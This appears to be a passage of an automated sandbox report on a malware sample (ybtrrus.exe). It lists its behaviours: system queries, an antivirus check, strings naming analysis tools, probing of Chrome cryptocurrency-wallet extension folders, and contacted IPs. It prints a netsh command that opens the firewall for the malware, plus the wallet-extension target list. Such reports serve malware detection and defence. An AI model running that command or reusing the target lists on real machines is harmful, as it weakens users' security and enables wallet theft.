Source: ybtrrus.exe, 0000001C.00000002.2691639077.000000000778E000.00000004.00001000.00020000.00000000.sdmp, ybtrrus.exe, 00000021.00000002.2693218645.000000000775E000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: PROGRAM MANAGERATIONAREAICONWINDOWCLASS.0
Source: ybtrrus.exe, 0000001C.00000002.2695219573.000000000941B000.00000004.00000010.00020000.00000000.sdmp Binary or memory string: Program Managerration Wizard
Source: ybtrrus.exe, 00000021.00000002.2693218645.00000000077BF000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: Program ManagerQ!|
Source: ybtrrus.exe, 0000001C.00000002.2691639077.00000000077EF000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: Program Manager1#
Source: ybtrrus.exe, 0000001C.00000002.2691639077.00000000077EF000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: Program Manager1
Source: ybtrrus.exe, 0000001C.00000002.2691639077.00000000077EF000.00000004.00001000.00020000.00000000.sdmp, ybtrrus.exe, 00000021.00000002.2693218645.00000000077BF000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: Program Manager@
Source: ybtrrus.exe, 0000001C.00000002.2657419183.0000000005E66000.00000020.00000001.01000000.00000009.sdmp, ybtrrus.exe, 0000001C.00000002.2657419183.0000000005FC5000.00000020.00000001.01000000.00000009.sdmp, ybtrrus.exe, 00000021.00000002.2657987949.00000000060D5000.00000020.00000001.01000000.0000000D.sdmp Binary or memory string: Shell_TrayWndU
Contains functionality to query CPU information (cpuid)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C819920 cpuid 12_2_6C819920
Contains functionality to query locales information (e.g. system language)
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: GetLocaleInfoA, 28_2_6FE62D4C
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: GetUserDefaultUILanguage,GetLocaleInfoW, 28_2_0545FCCC
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: GetUserDefaultUILanguage,GetLocaleInfoW, 28_2_0545FCCA
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: IsValidLocale,GetLocaleInfoW,GetLocaleInfoW, 28_2_0545F12C
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: IsValidLocale,GetLocaleInfoW,GetLocaleInfoW, 28_2_0545F128
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: GetLocaleInfoW, 28_2_05467DC6
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: GetLocaleInfoW, 28_2_05467DBE
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: EnumSystemLocalesW, 28_2_05467C86
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\SysWOW64\rundll32.exe Queries volume information: C:\iDQiPwFWUp\0101a.zip VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Queries volume information: C:\iDQiPwFWUp\0101a_decrypted.zip VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Queries volume information: C:\iDQiPwFWUp VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Queries volume information: C:\iDQiPwFWUp VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Queries volume information: C:\iDQiPwFWUp VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Queries volume information: C:\iDQiPwFWUp VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Queries volume information: C:\iDQiPwFWUp VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Queries volume information: C:\iDQiPwFWUp VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Queries volume information: C:\iDQiPwFWUp VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Queries volume information: C:\pnVcakKiqh\0101a.zip VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Queries volume information: C:\pnVcakKiqh\0101a_decrypted.zip VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Queries volume information: C:\pnVcakKiqh VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Queries volume information: C:\pnVcakKiqh VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Queries volume information: C:\pnVcakKiqh VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Queries volume information: C:\pnVcakKiqh VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Queries volume information: C:\pnVcakKiqh VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Queries volume information: C:\pnVcakKiqh VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C8555EE GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter, 12_2_6C8555EE
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_05467ACE GetUserNameA, 28_2_05467ACE
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_05467EFE GetTimeZoneInformation, 28_2_05467EFE
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_6FE6070D InitializeCriticalSectionAndSpinCount,GetVersion, 28_2_6FE6070D

Lowering of HIPS / PFW / Operating System Security Settings
barindex
Modifies the windows firewall
Source: C:\iDQiPwFWUp\ybtrrus.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C netsh advfirewall firewall add rule name="ybtrrus" dir=in action=allow program="C:\iDQiPwFWUp\ybtrrus.exe" enable=yes profile=any
Uses netsh to modify the Windows network and firewall settings
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name="ybtrrus" dir=in action=allow program="C:\iDQiPwFWUp\ybtrrus.exe" enable=yes profile=any
AV process strings found (often used to terminate AV products)
Source: ybtrrus.exe, ybtrrus.exe, 0000001C.00000002.2657419183.00000000058B6000.00000020.00000001.01000000.00000009.sdmp, ybtrrus.exe, 00000021.00000002.2657987949.00000000059C6000.00000020.00000001.01000000.0000000D.sdmp, ybtrrus.exe, 0000002F.00000002.2126788889.00000000055AA000.00000020.00000001.01000000.00000009.sdmp Binary or memory string: procmon.exe
Source: ybtrrus.exe, ybtrrus.exe, 0000001C.00000002.2657419183.00000000058B6000.00000020.00000001.01000000.00000009.sdmp, ybtrrus.exe, 00000021.00000002.2657987949.00000000059C6000.00000020.00000001.01000000.0000000D.sdmp, ybtrrus.exe, 0000002F.00000002.2126788889.00000000055AA000.00000020.00000001.01000000.00000009.sdmp Binary or memory string: tcpview.exe
Source: ybtrrus.exe, ybtrrus.exe, 0000001C.00000002.2657419183.00000000058B6000.00000020.00000001.01000000.00000009.sdmp, ybtrrus.exe, 00000021.00000002.2657987949.00000000059C6000.00000020.00000001.01000000.0000000D.sdmp, ybtrrus.exe, 0000002F.00000002.2126788889.00000000055AA000.00000020.00000001.01000000.00000009.sdmp Binary or memory string: Wireshark.exe
Source: ybtrrus.exe, ybtrrus.exe, 0000001C.00000002.2657419183.00000000058B6000.00000020.00000001.01000000.00000009.sdmp, ybtrrus.exe, 00000021.00000002.2657987949.00000000059C6000.00000020.00000001.01000000.0000000D.sdmp, ybtrrus.exe, 0000002F.00000002.2126788889.00000000055AA000.00000020.00000001.01000000.00000009.sdmp Binary or memory string: procexp.exe
Source: ybtrrus.exe, 0000001C.00000002.2650636704.0000000000ECD000.00000004.00000020.00020000.00000000.sdmp, ybtrrus.exe, 00000021.00000002.2650668938.0000000000F25000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: ybtrrus.exe, ybtrrus.exe, 0000001C.00000002.2657419183.00000000058B6000.00000020.00000001.01000000.00000009.sdmp, ybtrrus.exe, 00000021.00000002.2657987949.00000000059C6000.00000020.00000001.01000000.0000000D.sdmp, ybtrrus.exe, 0000002F.00000002.2126788889.00000000055AA000.00000020.00000001.01000000.00000009.sdmp Binary or memory string: LordPE.exe
Source: ybtrrus.exe, ybtrrus.exe, 0000001C.00000002.2657419183.00000000058B6000.00000020.00000001.01000000.00000009.sdmp, ybtrrus.exe, 00000021.00000002.2657987949.00000000059C6000.00000020.00000001.01000000.0000000D.sdmp, ybtrrus.exe, 0000002F.00000002.2126788889.00000000055AA000.00000020.00000001.01000000.00000009.sdmp Binary or memory string: autoruns.exe
Source: ybtrrus.exe, ybtrrus.exe, 0000001C.00000002.2657419183.00000000058B6000.00000020.00000001.01000000.00000009.sdmp, ybtrrus.exe, 00000021.00000002.2657987949.00000000059C6000.00000020.00000001.01000000.0000000D.sdmp, ybtrrus.exe, 0000002F.00000002.2126788889.00000000055AA000.00000020.00000001.01000000.00000009.sdmp Binary or memory string: ollydbg.exe
Source: ybtrrus.exe, ybtrrus.exe, 0000001C.00000002.2657419183.00000000058B6000.00000020.00000001.01000000.00000009.sdmp, ybtrrus.exe, 00000021.00000002.2657987949.00000000059C6000.00000020.00000001.01000000.0000000D.sdmp, ybtrrus.exe, 0000002F.00000002.2126788889.00000000055AA000.00000020.00000001.01000000.00000009.sdmp Binary or memory string: regmon.exe
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\iDQiPwFWUp\ybtrrus.exe WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\pnVcakKiqh\ybtrrus.exe WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information
barindex
Tries to access browser extension known for cryptocurrency wallets
Source: C:\iDQiPwFWUp\ybtrrus.exe File queried: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\iDQiPwFWUp\ybtrrus.exe File queried: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\iDQiPwFWUp\ybtrrus.exe File queried: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\iDQiPwFWUp\ybtrrus.exe File queried: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\iDQiPwFWUp\ybtrrus.exe File queried: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\iDQiPwFWUp\ybtrrus.exe File queried: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\aeachknmefphepccionboohckonoeemg
Source: C:\iDQiPwFWUp\ybtrrus.exe File queried: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\iDQiPwFWUp\ybtrrus.exe File queried: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\iDQiPwFWUp\ybtrrus.exe File queried: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\iDQiPwFWUp\ybtrrus.exe File queried: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\iDQiPwFWUp\ybtrrus.exe File queried: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\iDQiPwFWUp\ybtrrus.exe File queried: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\iDQiPwFWUp\ybtrrus.exe File queried: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\iDQiPwFWUp\ybtrrus.exe File queried: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\iDQiPwFWUp\ybtrrus.exe File queried: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\iDQiPwFWUp\ybtrrus.exe File queried: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\iDQiPwFWUp\ybtrrus.exe File queried: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\iDQiPwFWUp\ybtrrus.exe File queried: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\iDQiPwFWUp\ybtrrus.exe File queried: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\iDQiPwFWUp\ybtrrus.exe File queried: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blnieiiffboillknjnepogjhkgnoapac
Source: C:\pnVcakKiqh\ybtrrus.exe File queried: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\pnVcakKiqh\ybtrrus.exe File queried: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\pnVcakKiqh\ybtrrus.exe File queried: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\pnVcakKiqh\ybtrrus.exe File queried: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\pnVcakKiqh\ybtrrus.exe File queried: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\pnVcakKiqh\ybtrrus.exe File queried: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\aeachknmefphepccionboohckonoeemg
Source: C:\pnVcakKiqh\ybtrrus.exe File queried: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\pnVcakKiqh\ybtrrus.exe File queried: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\pnVcakKiqh\ybtrrus.exe File queried: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\pnVcakKiqh\ybtrrus.exe File queried: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\pnVcakKiqh\ybtrrus.exe File queried: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\pnVcakKiqh\ybtrrus.exe File queried: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\pnVcakKiqh\ybtrrus.exe File queried: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\pnVcakKiqh\ybtrrus.exe File queried: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\pnVcakKiqh\ybtrrus.exe File queried: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\pnVcakKiqh\ybtrrus.exe File queried: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\pnVcakKiqh\ybtrrus.exe File queried: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\pnVcakKiqh\ybtrrus.exe File queried: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\pnVcakKiqh\ybtrrus.exe File queried: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\pnVcakKiqh\ybtrrus.exe File queried: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blnieiiffboillknjnepogjhkgnoapac
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C83C9A0 getsockname,WSAGetLastError,bind,WSAGetLastError,closesocket, 12_2_6C83C9A0
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1528465 Sample: T8TY28UxiT.dll Startdate: 07/10/2024 Architecture: WINDOWS Score: 96 104 Multi AV Scanner detection for submitted file 2->104 106 Sigma detected: Invoke-Obfuscation CLIP+ Launcher 2->106 108 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 2->108 110 2 other signatures 2->110 9 loaddll32.exe 1 2->9         started        11 ybtrrus.exe 2->11         started        process3 process4 13 rundll32.exe 9 9->13         started        17 rundll32.exe 9 9->17         started        20 cmd.exe 1 9->20         started        24 5 other processes 9->24 22 schtasks.exe 11->22         started        dnsIp5 96 147.45.116.5, 49717, 49721, 80 FREE-NET-ASFREEnetEU Russian Federation 13->96 80 C:\iDQiPwFWUp\7zxa.dll, PE32 13->80 dropped 26 ybtrrus.exe 13->26         started        30 WerFault.exe 13->30         started        32 WerFault.exe 16 13->32         started        82 C:\pnVcakKiqh\7zxa.dll, PE32 17->82 dropped 98 System process connects to network (likely due to code injection or exploit) 17->98 34 ybtrrus.exe 17->34         started        36 WerFault.exe 17->36         started        38 WerFault.exe 16 17->38         started        100 Uses netsh to modify the Windows network and firewall settings 20->100 102 Uses ipconfig to lookup or modify the Windows network settings 20->102 40 rundll32.exe 20->40         started        42 conhost.exe 22->42         started        44 4 other processes 24->44 file6 signatures7 process8 dnsIp9 84 208.76.221.217 WCITUS United States 26->84 86 132.163.96.2 US-NATIONAL-INSTITUTE-OF-STANDARDS-AND-TECHNOLOGYUS United States 26->86 94 2 other IPs or domains 26->94 112 Queries sensitive battery information (via WMI, Win32_Battery, often done to detect virtual machines) 26->112 114 Uses schtasks.exe or at.exe to add and modify task schedules 26->114 116 Tries to access browser extension known for cryptocurrency wallets 26->116 118 Modifies the windows firewall 26->118 46 cmd.exe 26->46         started        48 cmd.exe 26->48         started        50 cmd.exe 26->50         started        52 schtasks.exe 26->52         started        88 20.189.173.21 MICROSOFT-CORP-MSN-AS-BLOCKUS United States 30->88 90 132.163.96.1 US-NATIONAL-INSTITUTE-OF-STANDARDS-AND-TECHNOLOGYUS United States 34->90 54 cmd.exe 34->54         started        56 cmd.exe 34->56         started        58 schtasks.exe 34->58         started        92 20.42.65.92 MICROSOFT-CORP-MSN-AS-BLOCKUS United States 36->92 60 WerFault.exe 20 17 40->60         started        signatures10 process11 process12 62 conhost.exe 46->62         started        64 schtasks.exe 46->64         started        66 conhost.exe 48->66         started        68 netsh.exe 48->68         started        74 2 other processes 50->74 70 conhost.exe 52->70         started        76 2 other processes 54->76 78 2 other processes 56->78 72 conhost.exe 58->72         started       
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
213.188.196.246
 unknown Italy
25400 TELIA-NORWAY-ASTeliaNorwayCoreNetworksNO false
128.138.140.44
 unknown United States
104 COLORADO-ASUS false
147.45.116.5
 unknown Russian Federation
2895 FREE-NET-ASFREEnetEU true
208.76.221.217
 unknown United States
62489 WCITUS false
132.163.96.1
 unknown United States
49 US-NATIONAL-INSTITUTE-OF-STANDARDS-AND-TECHNOLOGYUS false
132.163.96.2
 unknown United States
49 US-NATIONAL-INSTITUTE-OF-STANDARDS-AND-TECHNOLOGYUS false
20.42.65.92
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
20.189.173.21
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false